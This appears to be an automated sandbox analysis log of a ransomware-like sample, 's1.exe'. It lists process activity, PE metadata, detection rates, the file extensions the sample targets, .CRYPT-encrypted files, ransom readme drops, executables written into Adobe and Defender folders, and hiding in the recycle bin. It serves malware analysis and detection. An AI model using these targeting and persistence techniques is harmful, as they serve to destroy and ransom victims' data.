Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3388
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\WER\Temp\WER2EDB.tmp.WERInternalMetadata.xml.CRYPTJump to behavior
Source: unknownProcess created: C:\Windows\explorer.exe
Source: s1.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\s1.exeFile read: C:\$Recycle.Bin\S-1-5-18\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\s1.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: s1.exeVirustotal: Detection: 48%
Source: s1.exeReversingLabs: Detection: 34%
Source: unknownProcess created: C:\Users\user\Desktop\s1.exe 'C:\Users\user\Desktop\s1.exe'
Source: unknownProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 568 -p 3388 -ip 3388
Source: unknownProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3388 -s 1296
Source: unknownProcess created: C:\Windows\explorer.exe explorer.exe
Source: unknownProcess created: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Source: unknownProcess created: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Source: C:\Windows\System32\WerFault.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{660b90c8-73a9-4b58-8cae-355b7f55341b}\InProcServer32Jump to behavior
Source: C:\Users\user\Desktop\s1.exeFile written: C:\$Recycle.Bin\S-1-5-18\desktop.iniJump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeFile opened: C:\Windows\SYSTEM32\msftedit.dll
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: s1.exeStatic file information: File size 1322496 > 1048576
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: s1.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: s1.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: dear!!!.TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFSWINDIRTEMP source: s1.exe, 00000000.00000000.194839158.0000000000BE1000.00000008.00020000.sdmp
Source: Binary string: .TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS source: s1.exe, 00000000.00000000.194839158.0000000000BE1000.00000008.00020000.sdmp
Source: Binary string: C:\Users\john\Documents\Visual Studio 2008\Projects\EncryptFile -svcV2\Release\EncryptFile.exe.pdb source: s1.exe, 00000000.00000000.194812148.0000000000BA0000.00000002.00020000.sdmp
Source: s1.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: s1.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: s1.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: s1.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: s1.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B99CB0 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,0_2_00B99CB0
Source: s1.exeStatic PE information: real checksum: 0x144458 should be: 0x151dee
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B9087D push ecx; ret 0_2_00B90890
Source: initial sampleStatic PE information: section name: .text entropy: 7.06945191385

Persistence and Installation Behavior:

barindex
Drops executable to a common third party application directoryShow sources
Source: C:\Users\user\Desktop\s1.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
Infects executable files (exe, dll, sys, html)Show sources
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exeJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_128.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_16.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.html.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.js.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_128.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_16.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.html.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.js.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.2_0\128.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_128.png.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\ALL USERS\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\DEFAULT\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\MICROSOFT\PLAYREADY\INTERNET EXPLORER\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\MICROSOFT\PLAYREADY\INTERNET EXPLORER\INPRIVATE\DESKTOP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\INETCACHE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\TEMP\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\APPDATA\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\LOCALCACHE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\LOCALSTATE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\ROAMINGSTATE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\SETTINGS\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\SYSTEMAPPDATA\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\TEMPSTATE\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\INETCOOKIES\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\DOCUMENTS AND SETTINGS\user\APPDATA\LOCAL\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\APPLICATION DATA\PACKAGES\MICROSOFT.DESKTOPAPPINSTALLER_8WEKYB3D8BBWE\AC\INETHISTORY\readme.txtJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu Places\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\System Tools\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Microsoft Office 2016 Tools\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeFile created: C:\Documents and Settings\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini.CRYPTJump to behavior
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB2130 StartServiceCtrlDispatcherA,0_2_00AB2130

Hooking and other Techniques for Hiding and Protection:

barindex
Creates files in the recycle bin to hide itselfShow sources
Source: C:\Users\user\Desktop\s1.exeFile created: C:\$Recycle.Bin\S-1-5-18\desktop.ini.CRYPTJump to behavior
Source: C:\Windows\explorer.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
